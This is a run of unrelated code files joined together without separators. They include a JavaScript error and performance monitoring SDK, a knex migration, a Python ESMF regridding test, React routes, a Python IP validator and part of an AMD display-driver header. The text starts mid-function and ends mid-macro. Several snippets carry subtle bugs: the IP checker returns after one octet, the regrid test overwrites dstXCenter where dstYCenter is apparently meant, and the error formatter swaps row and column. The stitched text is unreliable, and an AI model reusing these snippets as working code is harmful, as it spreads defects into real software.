row = error.line || error.lineNumber; var message = error.message; var name = error.name; var stack = error.stack; var errorData = { col: col, row: row, message: message, name: name, stack: stack, scriptSrc: '' }; if (stack) { var linkReg = /https?:\/\/[^\n]+/; var matchLink = stack.match(linkReg); if (matchLink) { var matchedUrl = matchLink[0]; var stackRow_1 = 0; var stackCol_1 = 0; var scriptSrc = matchedUrl.replace(/:(\d+):(\d+)/, function (_, $1, $2) { stackRow_1 = $1; stackCol_1 = $2; return ''; }); Object.assign(errorData, { col: Number(stackRow_1 || col), row: Number(stackCol_1 || row), scriptSrc: scriptSrc }); } } return errorData; } function monitorError() { // JavaScript runtime error window.onerror = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } var message = args[0], scriptSrc = args[1], line = args[2], column = args[3], error = args[4]; var e = {}; if (isError(error)) { var _e = formatError(error); e.message = _e.message || message; e.url = _e.scriptSrc || scriptSrc; e.row = _e.row || line; e.col = _e.col || column; e.stack = _e.stack; e.name = _e.name; } else { e.message = message; e.url = scriptSrc; e.row = line; e.col = column; e.stack = 'unknown stack'; e.name = 'unknown error type'; if (error) { e.error = JSON.stringify(error); } } report(e, ERROR_TYPE.JS_ERROR); }; // resource load error window.addEventListener('error', function (event) { var target = event.target; if (!target || target === window) return; var e = {}; var name = target.localName; e.message = name + " load error"; e.type = event.type; e.name = name; Object.assign(e, getStaticAttrs(target)); report(e, ERROR_TYPE.RESOURCE_ERROR); }, true); // promise uncaught error window.addEventListener('unhandledrejection', function (event) { var reason = event && event.reason; var e = {}; if (typeof reason !== 'object') { e.message = String(reason) || ''; } else if (reason instanceof Error) { var _e = formatError(reason); e.message = _e.message; e.url = _e.scriptSrc; e.row = _e.row; e.col = _e.col; e.stack = _e.stack; e.name = _e.name; } else { e.message = JSON.stringify(reason); } }); } function reportAjaxError(event, subtype) { var loaded = event.loaded, total = event.total, lengthComputable = event.lengthComputable; report(Object.assign({ type: ERROR_TYPE.AJAX_ERROR, subtype: subtype, loaded: loaded, total: total, lengthComputable: lengthComputable, }), REPORT_TYPE.INTERFACE); } function monitorAjax() { var _xhrRealSend = XMLHttpRequest.prototype.send; var _xhrRealOpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } this._hooks = { method: args[0], path: args[1], }; return _xhrRealOpen.apply(this, args); }; XMLHttpRequest.prototype.send = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } var startTime = new Date().getTime(); var _a = this, onerror = _a.onerror, ontimeout = _a.ontimeout, onabort = _a.onabort, onreadystatechange = _a.onreadystatechange; this.onreadystatechange = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } var _a = this, readyState = _a.readyState, DONE = _a.DONE, status = _a.status, responseURL = _a.responseURL, statusText = _a.statusText; // The request errored out and we didn't get a response, this will be // handled by onerror instead // With one exception: request that using file: protocol, most browsers // will return status as 0 even though it's a successful request if (readyState === DONE && status !== 0 && (responseURL && responseURL.match(/^https?:\/\//))) { // TODO: set as a global var var e = Object.assign({}, this._hooks); var duration = new Date().getTime() - startTime; if (!validateStatus(status)) { Object.assign(e, { duration: duration, url: responseURL, status: status, statusText: statusText, type: ERROR_TYPE.AJAX_ERROR, subtype: NETWORK_ERROR.REQUEST_ERROR }); report(e, REPORT_TYPE.INTERFACE); } else if (duration > 300) { // 慢接口 + 响应体大小 Object.assign(e, { duration: duration, url: responseURL, status: status, type: ERROR_TYPE.AJAX_ERROR, subtype: NETWORK_ERROR.SLOW_API }); report(e, REPORT_TYPE.INTERFACE); } } if (typeof onreadystatechange === 'function') { onreadystatechange.apply(this, args); } }; this.onerror = function (event) { reportAjaxError(event, NETWORK_ERROR.ERROR); if (typeof onerror === 'function') { onerror.call(this, event); } }; this.onabort = function (event) { reportAjaxError(event, NETWORK_ERROR.ABORT); if (typeof onabort === 'function') { onabort.call(this, event); } }; this.ontimeout = function (event) { reportAjaxError(event, NETWORK_ERROR.TIMEOUT); if (typeof ontimeout === 'function') { ontimeout.call(this, event); } }; return _xhrRealSend.apply(this, args); }; } var STATIC_TAG = ['script', 'link', 'img']; var LABEL = 'resource'; function getResourceTiming(timing) { var domainLookupEnd = timing.domainLookupEnd, domainLookupStart = timing.domainLookupStart, connectEnd = timing.connectEnd, connectStart = timing.connectStart, secureConnectionStart = timing.secureConnectionStart, responseStart = timing.responseStart, requestStart = timing.requestStart, responseEnd = timing.responseEnd, fetchStart = timing.fetchStart, duration = timing.duration, name = timing.name; return { dns: setDefault0(domainLookupEnd, domainLookupStart), tcp: setDefault0(connectEnd, connectStart), ssl: setDefault0(connectEnd, secureConnectionStart), ttfb: setDefault0(responseStart, requestStart), trans: setDefault0(responseEnd, responseStart), fpt: setDefault0(responseEnd, fetchStart), duration: duration.toFixed(0), url: name, }; } function getResourceMetric(entries) { return entries.map(function (entry) { return getResourceTiming(entry); }); } function reportResource(perf) { var entries = perf.getEntriesByType(LABEL).filter(function (entry) { return STATIC_TAG.indexOf(entry.initiatorType); }); if (entries.length > 0) { report(getResourceMetric(entries), REPORT_TYPE.RESOURCE); } } function getEntryTypes(performance) { if (window.PerformanceObserver) { var observer = new PerformanceObserver(function (perf) { reportResource(perf); }); observer.observe({ entryTypes: [LABEL] }); } else { window.addEventListener('load', function () { // why // const entries: PerformanceResourceTiming[] = (performance.getEntriesByType(LABEL) as PerformanceResourceTiming[]).filter((entry: any) => STATIC_TAG.indexOf(entry.initiatorType)) // report(getResourceMetric(entries), REPORT_TYPE.RESOURCE) reportResource(performance); }); } } function monitorResource() { var performance = getPerformance(); if (performance && performance.timing && performance.timing.loadEventEnd) { reportResource(performance); } else { getEntryTypes(performance); } } function Monitor(config) { this.config = config; } Monitor.prototype.use = function (plugin) { var installedPlugins = (this._installedPlugins || (this._installedPlugins = [])); if (installedPlugins.indexOf(plugin) > -1) { return this; } if (typeof plugin.install === 'function') { plugin.install.call(null, this.config, this); } else if (typeof plugin === 'function') { plugin.call(null, this.config, this); } else { console.warn('plugin should be a function or an object with install method'); } installedPlugins.push(plugin); return this; }; window.__monitor__ = function (config) { return new Monitor(config) .use(monitorPerformance) .use(monitorError) .use(monitorAjax) .use(monitorResource); }; export default Monitor;
exports.up = function(knex) { return knex.schema .table('interview_process_reviews', table => { table.dropColumn('interest_id'); }) .table('salary_reviews', table => { table.dropColumn('interest_id'); }); }; exports.down = function(knex) { return knex.schema .table('interview_process_reviews', table => { table .integer('interest_id', 128) .unsigned() .nullable() .references('id') .inTable('interests') .onDelete('CASCADE') .onUpdate('CASCADE'); // .defaultTo(0); }) .table('salary_reviews', table => { table .integer('interest_id', 128) .unsigned() .nullable() .references('id') .inTable('interests') .onDelete('CASCADE') .onUpdate('CASCADE'); // .defaultTo(0); }); };
from container_support import ContainerSupport from chainer_framework import training from chainer_framework import serving cs = ContainerSupport() cs.register_engine(training.engine) cs.register_engine(serving.engine) if __name__ == '__main__': cs.run()
""" $Id: testEsmfFractions.py 2354 2012-07-11 15:28:14Z pletzer $ Unit test for src/dst AreaFractions return nan. It only fails in tripolar grids. """ import operator import numpy import cdat_info import cdms2 import regrid2.esmf import regrid2 import unittest import time import ESMP import copy from matplotlib import pylab as pl from mpi4py import MPI import sys PLOT = False class Test(unittest.TestCase): def setUp(self): pass def test1_2d_esmf_native_tripolar_fraction(self): mype = MPI.COMM_WORLD.Get_rank() f = cdms2.open(cdat_info.get_sampledata_path() + \ '/so_Omon_ACCESS1-0_historical_r1i1p1_185001-185412_2timesteps.nc') so = f('so')[0, 0, :, :] h = cdms2.open(cdat_info.get_sampledata_path() + \ '/so_Omon_HadGEM2-CC_historical_r1i1p1_185912-186911_2timesteps.nc') hadGEM2Model = h('so')[0,0,...] ny, nx = so.shape soBounds = so.getGrid().getBounds() srcLatCorner = numpy.zeros( (ny+1, nx+1), numpy.float32 ) srcLatCorner[:ny, :nx] = soBounds[0][:, :, 0] srcLatCorner[:ny, nx] = soBounds[0][:ny, nx-1, 1] srcLatCorner[ny, nx] = soBounds[0][ny-1, nx-1, 2] srcLatCorner[ny, :nx] = soBounds[0][ny-1, :nx, 3] srcLonCorner = numpy.zeros( (ny+1, nx+1), numpy.float32 ) srcLonCorner[:ny, :nx] = soBounds[1][:, :, 0] srcLonCorner[:ny, nx] = soBounds[1][:ny, nx-1, 1] srcLonCorner[ny, nx] = soBounds[1][ny-1, nx-1, 2] srcLonCorner[ny, :nx] = soBounds[1][ny-1, :nx, 3] srcCells = [so.getLatitude(), so.getLongitude()] srcNodes = [srcLatCorner, srcLonCorner] clt = cdms2.open(cdat_info.get_sampledata_path() + '/clt.nc')('clt')[0, :, :] cltBounds = clt.getGrid().getBounds() ny, nx = clt.shape # clt grid is rectilinear, transform to curvilinear CLGrid = clt.getGrid().toCurveGrid() #lats = CLGrid.getLatitude()[:].data lons = CLGrid.getLongitude()[:].data # Make the bounds go from -90, 90 with uniform spacing and the # Cell Centers go from -88.something to 88.something yb = numpy.linspace(-90, 90,ny+1) interval = abs(yb[0]-yb[1]) y = numpy.linspace(-90+interval/2., 90-interval/2., ny) lats = numpy.outer(y, numpy.ones((nx), numpy.float32)) ny, nx = clt.shape #yb = numpy.zeros((ny+1,), numpy.float32) #yb[:ny] = cltBounds[0][:, 0] #yb[ny] = cltBounds[0][ny-1, 1] xb = numpy.zeros((nx+1,), numpy.float32) xb[:nx] = cltBounds[1][:, 0] xb[nx] = cltBounds[1][nx-1, 1] # make curvilinear dstLatCorner = numpy.outer(yb, numpy.ones( (nx+1,), numpy.float32 )) dstLonCorner = numpy.outer(numpy.ones( (ny+1,), numpy.float32 ), xb) dstCells = [lats, lons] dstNodes = [dstLatCorner, dstLonCorner] print 'running test2_2d_esmf_native_tripolar_fraction...' tic = time.time() # create grid srcMaxIndex = numpy.array(so.shape[::-1], dtype=numpy.int32) srcGrid = ESMP.ESMP_GridCreate1PeriDim(srcMaxIndex, coordSys = ESMP.ESMP_COORDSYS_SPH_DEG) ESMP.ESMP_GridAddCoord(srcGrid, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) ESMP.ESMP_GridAddCoord(srcGrid, staggerloc = ESMP.ESMP_STAGGERLOC_CORNER) srcDimsCenter = ESMP.ESMP_GridGetCoord(srcGrid, ESMP.ESMP_STAGGERLOC_CENTER) srcDimsCorner = ESMP.ESMP_GridGetCoord(srcGrid, ESMP.ESMP_STAGGERLOC_CORNER) srcXCenter = ESMP.ESMP_GridGetCoordPtr(srcGrid, 0, ESMP.ESMP_STAGGERLOC_CENTER) srcYCenter = ESMP.ESMP_GridGetCoordPtr(srcGrid, 1, ESMP.ESMP_STAGGERLOC_CENTER) srcXCorner = ESMP.ESMP_GridGetCoordPtr(srcGrid, 0, ESMP.ESMP_STAGGERLOC_CORNER) srcYCorner = ESMP.ESMP_GridGetCoordPtr(srcGrid, 1, ESMP.ESMP_STAGGERLOC_CORNER) dstMaxIndex = numpy.array(clt.shape[::-1], dtype=numpy.int32) dstGrid = ESMP.ESMP_GridCreate1PeriDim(dstMaxIndex, coordSys = ESMP.ESMP_COORDSYS_SPH_DEG) ESMP.ESMP_GridAddCoord(dstGrid, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) ESMP.ESMP_GridAddCoord(dstGrid, staggerloc = ESMP.ESMP_STAGGERLOC_CORNER) dstDimsCenter = ESMP.ESMP_GridGetCoord(dstGrid, ESMP.ESMP_STAGGERLOC_CENTER) dstDimsCorner = ESMP.ESMP_GridGetCoord(dstGrid, ESMP.ESMP_STAGGERLOC_CORNER) dstXCenter = ESMP.ESMP_GridGetCoordPtr(dstGrid, 0, ESMP.ESMP_STAGGERLOC_CENTER) dstYCenter = ESMP.ESMP_GridGetCoordPtr(dstGrid, 1, ESMP.ESMP_STAGGERLOC_CENTER) dstXCorner = ESMP.ESMP_GridGetCoordPtr(dstGrid, 0, ESMP.ESMP_STAGGERLOC_CORNER) dstYCorner = ESMP.ESMP_GridGetCoordPtr(dstGrid, 1, ESMP.ESMP_STAGGERLOC_CORNER) # mask ESMP.ESMP_GridAddItem(srcGrid, item=ESMP.ESMP_GRIDITEM_MASK) srcMask = ESMP.ESMP_GridGetItem(srcGrid, item=ESMP.ESMP_GRIDITEM_MASK) # create field srcFld = ESMP.ESMP_FieldCreateGrid(srcGrid, 'srcFld', typekind = ESMP.ESMP_TYPEKIND_R4, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) srcFldPtr = ESMP.ESMP_FieldGetPtr(srcFld) dstFld = ESMP.ESMP_FieldCreateGrid(dstGrid, 'dstFld', typekind = ESMP.ESMP_TYPEKIND_R4, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) dstFldPtr = ESMP.ESMP_FieldGetPtr(dstFld) # Create the field for the fractional areas srcFracFld = ESMP.ESMP_FieldCreateGrid(srcGrid, 'srcFrac', typekind = ESMP.ESMP_TYPEKIND_R4, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) srcFracPtr = ESMP.ESMP_FieldGetPtr(srcFracFld) dstFracFld = ESMP.ESMP_FieldCreateGrid(dstGrid, 'dstFrac', typekind = ESMP.ESMP_TYPEKIND_R4, staggerloc = ESMP.ESMP_STAGGERLOC_CENTER) dstFracPtr = ESMP.ESMP_FieldGetPtr(dstFracFld) # set coords, mask, and field values for src and dst srcNtotCenter = reduce(operator.mul, [srcDimsCenter[1][i] - srcDimsCenter[0][i] \ for i in range(2)]) srcNtotCorner = reduce(operator.mul, [srcDimsCorner[1][i] - srcDimsCorner[0][i] \ for i in range(2)]) srcJCenterBeg = srcDimsCenter[0][1] srcJCenterEnd = srcDimsCenter[1][1] srcJCornerBeg = srcDimsCorner[0][1] srcJCornerEnd = srcDimsCorner[1][1] srcICenterBeg = srcDimsCenter[0][0] srcICenterEnd = srcDimsCenter[1][0] srcICornerBeg = srcDimsCorner[0][0] srcICornerEnd = srcDimsCorner[1][0] srcXCenter[:] = numpy.reshape(srcCells[1][srcJCenterBeg:srcJCenterEnd, srcICenterBeg:srcICenterEnd], (srcNtotCenter,)) srcYCenter[:] = numpy.reshape(srcCells[0][srcJCenterBeg:srcJCenterEnd, srcICenterBeg:srcICenterEnd], (srcNtotCenter,)) srcXCorner[:] = numpy.reshape(srcNodes[1][srcJCornerBeg:srcJCornerEnd, srcICornerBeg:srcICornerEnd], (srcNtotCorner,)) srcYCorner[:] = numpy.reshape(srcNodes[0][srcJCornerBeg:srcJCornerEnd, srcICornerBeg:srcICornerEnd], (srcNtotCorner,)) srcFldPtr[:] = numpy.reshape(so[srcJCenterBeg:srcJCenterEnd, srcICenterBeg:srcICenterEnd], (srcNtotCenter,)) srcMask[:] = (srcFldPtr == so.missing_value) srcFracPtr[:] = -999 dstFracPtr[:] = -999 dstNtotCenter = reduce(operator.mul, [dstDimsCenter[1][i] - dstDimsCenter[0][i] for i in range(2)]) dstNtotCorner = reduce(operator.mul, [dstDimsCorner[1][i] - dstDimsCorner[0][i] for i in range(2)]) dstXCenter[:] = numpy.reshape(dstCells[1][dstDimsCenter[0][1]:dstDimsCenter[1][1], dstDimsCenter[0][0]:dstDimsCenter[1][0]], (dstNtotCenter)) dstXCenter[:] = numpy.reshape(dstCells[0][dstDimsCenter[0][1]:dstDimsCenter[1][1], dstDimsCenter[0][0]:dstDimsCenter[1][0]], (dstNtotCenter)) dstXCorner[:] = numpy.reshape(dstNodes[1][dstDimsCorner[0][1]:dstDimsCorner[1][1], dstDimsCorner[0][0]:dstDimsCorner[1][0]], (dstNtotCorner,)) dstYCorner[:] = numpy.reshape(dstNodes[0][dstDimsCorner[0][1]:dstDimsCorner[1][1], dstDimsCorner[0][0]:dstDimsCorner[1][0]], (dstNtotCorner,)) dstFldPtr[:] = 0 srcAreaFld = ESMP.ESMP_FieldCreateGrid(srcGrid, 'srcArea') dstAreaFld = ESMP.ESMP_FieldCreateGrid(dstGrid, 'dstArea') # regrid forward and backward maskVals = numpy.array([1], numpy.int32) # values defining mask regrid1 = ESMP.ESMP_FieldRegridStore(srcFld, dstFld, srcMaskValues=maskVals, dstMaskValues=None, regridmethod=ESMP.ESMP_REGRIDMETHOD_CONSERVE, unmappedaction=ESMP.ESMP_UNMAPPEDACTION_IGNORE, srcFracField=srcFracFld, dstFracField=dstFracFld) ESMP.ESMP_FieldRegrid(srcFld, dstFld, regrid1) srcAreas = ESMP.ESMP_FieldRegridGetArea(srcAreaFld) dstAreas = ESMP.ESMP_FieldRegridGetArea(dstAreaFld) srcAreaPtr = ESMP.ESMP_FieldGetPtr(srcAreaFld) dstAreaPtr = ESMP.ESMP_FieldGetPtr(dstAreaFld) if mype == 0: srcHasNan = numpy.any(numpy.isnan(srcFracPtr)) dstHasNan = numpy.any(numpy.isnan(dstFracPtr)) aa = numpy.isnan(srcFracPtr) bb = numpy.isnan(dstFracPtr) cc = srcFldPtr == 0 dd = dstFldPtr == 0 if PLOT: pl.figure(1) pl.subplot(2,1,1) pl.pcolor(numpy.reshape(aa, so.shape)) pl.colorbar() pl.title('source') pl.subplot(2,1,2) pl.pcolor(numpy.reshape(bb, clt.shape)) pl.colorbar() pl.title('destination') pl.suptitle("Red == location of nan's") print srcHasNan, dstHasNan # Do they have nans? self.assertFalse(srcHasNan, True) self.assertFalse(dstHasNan, True) jbeg, jend = dstDimsCenter[0][1], dstDimsCenter[1][1] ibeg, iend = dstDimsCenter[0][0], dstDimsCenter[1][0] soInterp = numpy.reshape(dstFldPtr, (jend-jbeg, iend-ibeg)) toc = time.time() # clean up ESMP.ESMP_FieldRegridRelease(regrid1) ESMP.ESMP_FieldDestroy(dstFld) ESMP.ESMP_GridDestroy(dstGrid) ESMP.ESMP_FieldDestroy(srcFld) ESMP.ESMP_GridDestroy(srcGrid) if __name__ == '__main__': print "" ESMP.ESMP_Initialize() suite = unittest.TestLoader().loadTestsFromTestCase(Test) unittest.TextTestRunner(verbosity = 1).run(suite) pl.show()
import { Utils, FontAwesomeIcon } from "arclight-react"; export default (socket, _this) => socket.on("broadcast_update", (data) => { if ( data.origin === _this.state.active || data.target === _this.state.active ) { _this.getSMSByNum(data.target); } _this.aquire().then(() => { if ( data.origin === _this.state.active || data.target === _this.state.active ) { const elmnt = document.getElementById("newestMsg"); elmnt.scrollIntoView(true); } }); Utils.SFX.play("ding"); });
#ifndef __NO_SYSTEM_INIT void SystemInit() {} #endif void main() { for (;;); }
def check_ip(ip): ip_array = [int(i) for i in ip.split('.')] print(ip_array) for octet in ip_array: if octet > 255: print("Dotted decimal addresses can't be above 255 for any octet, please try again.") return False else: print("This is a good IP address") return True
import React, {Component} from 'react' import {connect} from 'react-redux' import {withRouter, Route, Switch} from 'react-router-dom' import socket from './socket' import { Login, UserHome, Menu, Game, Welcome, TriviaHimHer, TriviaGuessNumber, TriviaMultiChoice, TriviaTrueFalse } from './components' import {me, getSetup} from './store' class Routes extends Component { componentDidMount() { this.props.loadInitialData() // this.props.getSetup() } render() { const {isLoggedIn} = this.props return ( <Switch> <Route path="/logincn" component={Login} /> {isLoggedIn && ( <Switch> <Route path="/home" component={UserHome} /> <Route path="/menu" component={Menu} /> <Route path="/game" component={Game} /> <Route path="/TriviaHimHers" component={TriviaHimHer} /> <Route path="/TriviaTrueFalses" component={TriviaTrueFalse} /> <Route path="/TriviaMultiChoices" component={TriviaMultiChoice} /> <Route path="/TriviaGuessNumbers" component={TriviaGuessNumber} /> <Route component={UserHome}></Route> </Switch> )} <Route component={Welcome} /> {/* Displays our Login component as a fallback */} {/* <Route component={Login} /> */} </Switch> ) } } const mapState = state => ({ isLoggedIn: !!state.user.id, user: state.user }) const mapDispatch = dispatch => { return { loadInitialData() { dispatch(me()) }, getSetup(question) { dispatch(getSetup(question)) } } } export default withRouter(connect(mapState, mapDispatch)(Routes))
/* * Copyright 2012-14 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Authors: AMD * */ #ifndef DC_INTERFACE_H_ #define DC_INTERFACE_H_ #include "dc_types.h" #include "grph_object_defs.h" #include "logger_types.h" #if defined(CONFIG_DRM_AMD_DC_HDCP) #include "hdcp_types.h" #endif #include "gpio_types.h" #include "link_service_types.h" #include "grph_object_ctrl_defs.h" #include <inc/hw/opp.h> #include "inc/hw_sequencer.h" #include "inc/compressor.h" #include "inc/hw/dmcu.h" #include "dml/display_mode_lib.h" /* forward declaration */ struct aux_payload; #define DC_VER "3.2.132" #define MAX_SURFACES 3 #define MAX_PLANES 6 #define MAX_STREAMS 6 #define MAX_SINKS_PER_LINK 4 #define MIN_VIEWPORT_SIZE 12 #define MAX_NUM_EDP 2 /******************************************************************************* * Display Core Interfaces ******************************************************************************/ struct dc_versions { const char *dc_ver; struct dmcu_version dmcu_version; }; enum dp_protocol_version { DP_VERSION_1_4, }; enum dc_plane_type { DC_PLANE_TYPE_INVALID, DC_PLANE_TYPE_DCE_RGB, DC_PLANE_TYPE_DCE_UNDERLAY, DC_PLANE_TYPE_DCN_UNIVERSAL, }; struct dc_plane_cap { enum dc_plane_type type; uint32_t blends_with_above : 1; uint32_t blends_with_below : 1; uint32_t per_pixel_alpha : 1; struct { uint32_t argb8888 : 1; uint32_t nv12 : 1; uint32_t fp16 : 1; uint32_t p010 : 1; uint32_t ayuv : 1; } pixel_format_support; // max upscaling factor x1000 // upscaling factors are always >= 1 // for example, 1080p -> 8K is 4.0, or 4000 raw value struct { uint32_t argb8888; uint32_t nv12; uint32_t fp16; } max_upscale_factor; // max downscale factor x1000 // downscale factors are always <= 1 // for example, 8K -> 1080p is 0.25, or 250 raw value struct { uint32_t argb8888; uint32_t nv12; uint32_t fp16; } max_downscale_factor; // minimal width/height uint32_t min_width; uint32_t min_height; }; // Color management caps (DPP and MPC) struct rom_curve_caps { uint16_t srgb : 1; uint16_t bt2020 : 1; uint16_t gamma2_2 : 1; uint16_t pq : 1; uint16_t hlg : 1; }; struct dpp_color_caps { uint16_t dcn_arch : 1; // all DCE generations treated the same // input lut is different than most LUTs, just plain 256-entry lookup uint16_t input_lut_shared : 1; // shared with DGAM uint16_t icsc : 1; uint16_t dgam_ram : 1; uint16_t post_csc : 1; // before gamut remap uint16_t gamma_corr : 1; // hdr_mult and gamut remap always available in DPP (in that order) // 3d lut implies shaper LUT, // it may be shared with MPC - check MPC:shared_3d_lut flag uint16_t hw_3d_lut : 1; uint16_t ogam_ram : 1; // blnd gam uint16_t ocsc : 1; uint16_t dgam_rom_for_yuv : 1; struct rom_curve_caps dgam_rom_caps; struct rom_curve_caps ogam_rom_caps; }; struct mpc_color_caps { uint16_t gamut_remap : 1; uint16_t ogam_ram : 1; uint16_t ocsc : 1; uint16_t num_3dluts : 3; //3d lut always assumes a preceding shaper LUT uint16_t shared_3d_lut:1; //can be in either DPP or MPC, but single instance struct rom_curve_caps ogam_rom_caps; }; struct dc_color_caps { struct dpp_color_caps dpp; struct mpc_color_caps mpc; }; struct dc_caps { uint32_t max_streams; uint32_t max_links; uint32_t max_audios; uint32_t max_slave_planes; uint32_t max_slave_yuv_planes; uint32_t max_slave_rgb_planes; uint32_t max_planes; uint32_t max_downscale_ratio; uint32_t i2c_speed_in_khz; uint32_t i2c_speed_in_khz_hdcp; uint32_t dmdata_alloc_size; unsigned int max_cursor_size; unsigned int max_video_width; unsigned int min_horizontal_blanking_period; int linear_pitch_alignment; bool dcc_const_color; bool dynamic_audio; bool is_apu; bool dual_link_dvi; bool post_blend_color_processing; bool force_dp_tps4_for_cp2520; bool disable_dp_clk_share; bool psp_setup_panel_mode; bool extended_aux_timeout_support; bool dmcub_support; uint32_t num_of_internal_disp; enum dp_protocol_version max_dp_protocol_version; unsigned int mall_size_per_mem_channel; unsigned int mall_size_total; unsigned int cursor_cache_size; struct dc_plane_cap planes[MAX_PLANES]; struct dc_color_caps color; }; struct dc_bug_wa { bool no_connect_phy_config; bool dedcn20_305_wa; bool skip_clock_update; bool lt_early_cr_pattern; }; struct dc_dcc_surface_param { struct dc_size surface_size; enum surface_pixel_format format; enum swizzle_mode_values swizzle_mode; enum dc_scan_direction scan; }; struct dc_dcc_setting { unsigned int max_compressed_blk_size; unsigned int max_uncompressed_blk_size; bool independent_64b_blks; #if defined(CONFIG_DRM_AMD_DC_DCN) //These bitfields to be used starting with DCN 3.0 struct { uint32_t dcc_256_64_64 : 1;//available in ASICs before DCN 3.0 (the worst compression case) uint32_t dcc_128_128_uncontrained : 1; //available in ASICs before DCN 3.0 uint32_t dcc_256_128_128 : 1; //available starting with DCN 3.0 uint32_t dcc_256_256_unconstrained : 1; //available in ASICs before DCN 3.0 (the best compression case) } dcc_controls; #endif }; struct dc_surface_dcc_cap { union { struct { struct dc_dcc_setting rgb; } grph; struct { struct dc_dcc_setting luma; struct dc_dcc_setting chroma; } video; }; bool capable; bool const_color_support; }; struct dc_static_screen_params { struct { bool force_trigger; bool cursor_update; bool surface_update; bool overlay_update; } triggers; unsigned int num_frames; }; /* Surface update type is used by dc_update_surfaces_and_stream * The update type is determined at the very beginning of the function based * on parameters passed in and decides how much programming (or updating) is * going to be done during the call. * * UPDATE_TYPE_FAST is used for really fast updates that do not require much * logical calculations or hardware register programming. This update MUST be * ISR safe on windows. Currently fast update will only be used to flip surface * address. * * UPDATE_TYPE_MED is used for slower updates which require significant hw * re-programming however do not affect bandwidth consumption or clock * requirements. At present, this is the level at which front end updates * that do not require us to run bw_calcs happen. These are in/out transfer func * updates, viewport offset changes, recout size changes and pixel depth changes. * This update can be done at ISR, but we want to minimize how often this happens. * * UPDATE_TYPE_FULL is slow. Really slow. This requires us to recalculate our * bandwidth and clocks, possibly rearrange some pipes and reprogram anything front * end related. Any time viewport dimensions, recout dimensions, scaling ratios or * gamma need to be adjusted or pipe needs to be turned on (or disconnected) we do * a full update. This cannot be done at ISR level and should be a rare event. * Unless someone is stress testing mpo enter/exit, playing with colour or adjusting * underscan we don't expect to see this call at all. */ enum surface_update_type { UPDATE_TYPE_FAST, /* super fast, safe to execute in isr */ UPDATE_TYPE_MED, /* ISR safe, most of programming needed, no bw/clk change*/ UPDATE_TYPE_FULL, /* may need to shuffle resources */ }; /* Forward declaration*/ struct dc; struct dc_plane_state; struct dc_state; struct dc_cap_funcs { bool (*get_dcc_compression_cap)(const struct dc *dc, const struct dc_dcc_surface_param *input, struct dc_surface_dcc_cap *output); }; struct link_training_settings; /* Structure to hold configuration flags set by dm at dc creation. */ struct dc_config { bool gpu_vm_support; bool disable_disp_pll_sharing; bool fbc_support; bool disable_fractional_pwm; bool allow_seamless_boot_optimization; bool power_down_display_on_boot; bool edp_not_connected; bool force_enum_edp; bool forced_clocks; bool allow_lttpr_non_transparent_mode; bool multi_mon_pp_mclk_switch; bool disable_dmcu; bool enable_4to1MPC; #if defined(CONFIG_DRM_AMD_DC_DCN) bool clamp_min_dcfclk; #endif uint64_t vblank_alignment_dto_params; uint8_t vblank_alignment_max_frame_time_diff; bool is_asymmetric_memory; bool is_single_rank_dimm; }; enum visual_confirm { VISUAL_CONFIRM_DISABLE = 0, VISUAL_CONFIRM_SURFACE = 1, VISUAL_CONFIRM_HDR = 2, VISUAL_CONFIRM_MPCTREE = 4, VISUAL_CONFIRM_PSR = 5, }; enum dcc_option { DCC_ENABLE = 0, DCC_DISABLE = 1, DCC_HALF_REQ_DISALBE = 2, }; enum pipe_split_policy { MPC_SPLIT_DYNAMIC = 0, MPC_SPLIT_AVOID = 1, MPC_SPLIT_AVOID_MULT_DISP = 2, }; enum wm_report_mode { WM_REPORT_DEFAULT = 0, WM_REPORT_OVERRIDE = 1, }; enum dtm_pstate{ dtm_level_p0 = 0,/*highest voltage*/ dtm_level_p1, dtm_level_p2, dtm_level_p3, dtm_level_p4,/*when active_display_count = 0*/ }; enum dcn_pwr_state { DCN_PWR_STATE_UNKNOWN = -1, DCN_PWR_STATE_MISSION_MODE = 0, DCN_PWR_STATE_LOW_POWER = 3, }; /* * For any clocks that may differ per pipe * only the max is stored in this structure */ struct dc_clocks { int dispclk_khz; int actual_dispclk_khz; int dppclk_khz; int actual_dppclk_khz; int disp_dpp_voltage_level_khz; int dcfclk_khz; int socclk_khz; int dcfclk_deep_sleep_khz; int fclk_khz; int phyclk_khz; int dramclk_khz; bool p_state_change_support; enum dcn_pwr_state pwr_state; /* * Elements below are not compared for the purposes of * optimization required */ bool prev_p_state_change_support; enum dtm_pstate dtm_level; int max_supported_dppclk_khz; int max_supported_dispclk_khz; int bw_dppclk_khz; /*a copy of dppclk_khz*/ int bw_dispclk_khz; }; struct dc_bw_validation_profile { bool enable; unsigned long long total_ticks; unsigned long long voltage_level_ticks; unsigned long long watermark_ticks; unsigned long long rq_dlg_ticks; unsigned long long total_count; unsigned long long skip_fast_count; unsigned long long skip_pass_count; unsigned long long skip_fail_count; }; #define BW_VAL_TRACE_SETUP() \ 